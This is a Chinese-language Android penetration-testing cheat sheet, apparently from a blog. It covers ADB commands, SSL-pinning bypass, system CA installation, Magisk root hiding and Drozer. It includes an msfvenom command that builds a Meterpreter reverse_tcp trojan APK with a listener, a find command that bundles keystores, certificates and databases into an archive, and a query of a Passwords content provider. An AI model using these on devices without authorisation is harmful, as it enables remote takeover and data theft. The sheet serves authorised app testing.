Android Test Cheat Sheet
Lastmod: 2023-06-17

更新一些Android APP测试的技巧。

为了ADB

开启ADB调试的若干方式

参考同站的真无线ADB文章

ADB Cheat Sheet

模拟点击

#获取当前点击手势坐标
adb shell getevent -l |grep ABS_MT_POSITION
#转换XY坐标为10进制
#循环点击并计数
adb shell 'count=1; while true; do echo "序号: $count"; input tap 849 894; sleep 0.1; count=$((count+1)); done'
# or
adb shell 'while true; do input tap 849 894; sleep 0.1; done'

Using ADB to quickly simulate touch events

调出系统设置界面

adb shell am start -n com.android.settings/.Settings

定位APP

adb shell dumpsys window | grep mCurrentFocus
adb shell dumpsys window windows

Tcpudmp远程抓包

adb shell "tcpdump -i any -s 0 -w - not port 5555" | wireshark -k -i -

截屏

adb exec-out screencap -p > 1.png

adb shell screencap /sdcard/1.png
adb pull /sdcard/1.png ./

获取最近任务

adb shell dumpsys activity recents |grep "* Recent"
adb shell dumpsys activity services

获取系统版本

adb shell getprop ro.build.version.release

为了抓包

Android 7.0后的抓包,绕不过SSL-Pinning怎么绕。

首先假设App信任系统证书,比较简单,自制系统证书导入即可。

假若App自建检测证书信任链,这里的方案是Objection Hook或Lsposed模块的TrustMeAlready。

Burpsuite/Android系统证书自制

使用 OpenSSL 生成自签名证书

生成一个有效期为1年的证书:

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

key.pem为私钥,certficate.pem为证书,在firefox证书颁发机构可以直接导入。

将密钥和证书组合在 PKCS#12 (P12) 捆绑软件中,后续在burp导入。

openssl pkcs12 -inkey key.pem -in certificate.pem -export -out certificate.p12
#enter-your-passwd

制作安卓的系统证书,将公钥certificate.pem重命名为类似78ecfd2e.0的名字。

name=$(openssl x509 -inform PEM -subject_hash_old -in certificate.pem | head -1)
cp certificate.pem "$name.0"

导入到Android系统的系统证书目录

adb devices
adb root
adb remount
adb push xxxxxxxx.0 /system/etc/security/cacerts/
adb shell
#修改用户、读取权限
chown root:root /system/etc/security/cacerts/xxxxxxxx.0
chmod 644 /system/etc/security/cacerts/xxxxxxxx.0

配置全局代理

adb shell settings get global http_proxy
adb shell settings put global http_proxy 10.1.0.100:8080

#清除代理
adb shell settings put global http_proxy :0

#不要做删除!!!!删除并不会清空代理
#adb shell settings delete global http_proxy
#adb shell settings delete global global_http_proxy_host
#adb shell settings delete global global_http_proxy_port

adb shell settings list global |grep proxy

objection-sslpinning-disable

adb push frida-server-16.0.19-android-arm64 /data/local/tmp

adb root
adb shell
#On Android:
/data/local/tmp/frida-server-16.0.19-android-arm64 &
# ERROR:frida.TimedOutError: unexpectedly timed out while waiting for signal from process with PID 2292 ==> usap64
# Solved by:
#setprop persist.device_config.runtime_native.usap_pool_enabled false


python3 -m pip install objection
objection -d -g com.cloudy.component explore
android root disable
android sslpinning disable

参考:

Android Hooking and SSLPinning using Objection Framework

TrustMeAlready

TrustMeAlready是LSPosed框架的模块,前身是xposed(不再维护)框架。

LSPosed现在是Magisk模块。

LSPosed有riru与zygisk版,riru已不再维护,推荐zygisk版。

Release下载LSPosed安装包,https://github.com/LSPosed/LSPosed

Magisk刷入后重启。

下滑菜单栏可见LSPosed的通知栏,点击即可进入管理界面。

Release下载TrustMeAlready.apk,https://github.com/ViRb3/TrustMeAlready

安装即可,点击模块,勾选目标应用。

参考链接:

非常全面的抓包对抗思维导图,https://github.com/r0ysue/r0capture/blob/main/README.md

反调试

ROOT检测

改名法

移除su文件,改写su安装包名。

adb root
adb remount
adb shell
find / -name su 2>/dev/null
mv /system/bin/su /system/bin/su1
pm list packages |grep su

备注:笔者在Magisk 25.x测试可修改sysytem目录,升级26.1后修改系统文件则发现提示Read-only file system报错。

Magisk DenyList

笔者Android 13+Magisk26.1,测试可用,Magisk自带的Hook,让应用无法探测到Root环境相关的文件,然而也会让Magisk不能Hook该应用。

  1. 开启Zygisk模块
  2. 配置排除清单
  3. 勾选目标应用
  4. 点击开启强制排除

还可以进一步地,在Magisk点击Magisk Hide,随机包名重安装。

图文操作可参考:

How To Hide Root From Apps Via Magisk DenyList [Android 13]

Misc. Tools

Scrcpy

屏幕投影

brew install scrcpy
scrcpy

Termux

镜像源加速

termux-change-repo
#在图形界面引导下,使用自带方向键可上下移动。 
#第一步使用空格选择需要更换的仓库,之后在第二步选择 TUNA/BFSU 镜像源。确认无误后回车,镜像源会自动完成更换。
#然后就可以畅快下载Python等等环境了。

固件解包

docker run --rm -v "${PWD}":/data -it vm03/payload_dumper /data/payload.bin --out /data

参考:https://github.com/vm03/payload_dumper

APP提取

获取指定APP的路径

# pm list packages
# pm path com.android.shell
package:/system/priv-app/Shell/Shell.apk

常见路径

/vendor/app/
/system/app
/system/priv-app,则该应用程序为系统应用。
/data/app
/data/app-private

一键提取的APP

MSF木马

笔者发现,不是所有电脑都能生成payload,存在玄学(原因待查)。

msfvenom –p android/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=8999 -a dalvik --platform android -o android_shell.apk

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8999
run

解析AndroidManifest.xml

java -jar ./AXMLPrinter2.jar ./CarLauncherHMI/AndroidManifest.xml > AndroidManifest.xml

参考:

https://code.google.com/archive/p/android4me/downloads

AXMLPrinter2.jar

NMAP/TCPDUMP/BusyBox

https://github.com/kost/nmap-android

https://www.androidtcpdump.com/android-tcpdump/downloads

https://github.com/meefik/busybox/releases/tag/1.34.1

识别隐藏交互元素

Accessibility Scanner

谷歌官方发布的一个辅助功能工具,可帮助您检测Android应用中的可访问性问题。它可以识别当前界面的所有交互元素,包括按钮位置和隐藏按钮。

全局查找敏感文件

find / -type f \( -name "*.cer" -o -name "*.crt" -o -name "*.rsa" -o -name "*.p7b" -o -name "*.p7r" -o -name "*.p7c" -o -name "*.p7m" -o -name "*.p7s" -o -name "*.pem" -o -name "*.p10" -o -name "*.csr" -o -name "*.pvk" -o -name "*.spc" -o -name "*.jks" -o -name "*.ks" -o -name "*.jce" -o -name "*.p12" -o -name "*.pfx" -o -name "*.bks" -o -name "*.ubr" -o -name "*.db" -o -name "*.log" \) -exec tar -czvf /data/local/tmp/files.tar.gz {} + 2>/dev/null

Drozer

开启开发者选项-ADB网络调试

docker run -it fsecurelabs/drozer
drozer console connect --server 192.168.136.86:31415
run scanner.provider.finduris -a (package name)
run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/
run app.activity.info --package  (package name)
run app.activity.start --component   com.isi.testapp    com.isi.testapp.Welcome
run app.service.info -a com.csair.tangces

Android NDK

https://github.com/android/ndk/wiki/Unsupported-Downloads

临时目录,可读可写可执行

/data/local/tmp/

debuggable的应用导出数据

adb shell "run-as com.tgc.getapk tar -cf - /data/data/ com.tgc.getapk/ " > app_data.tar

壳识别

APK安装

pm install termux.apk
pm list packages|grep termux
brew install --cask android-sdk #兼容Java8

#安装build-tools
sdkmanager "build-tools;30.0.3"
#路径
/opt/homebrew/Caskroom/android-sdk/4333796/build-tools/30.0.3/

重安装系统APK

How to use the Hardware Test App from ASUS on a Zenfone running a CustomROM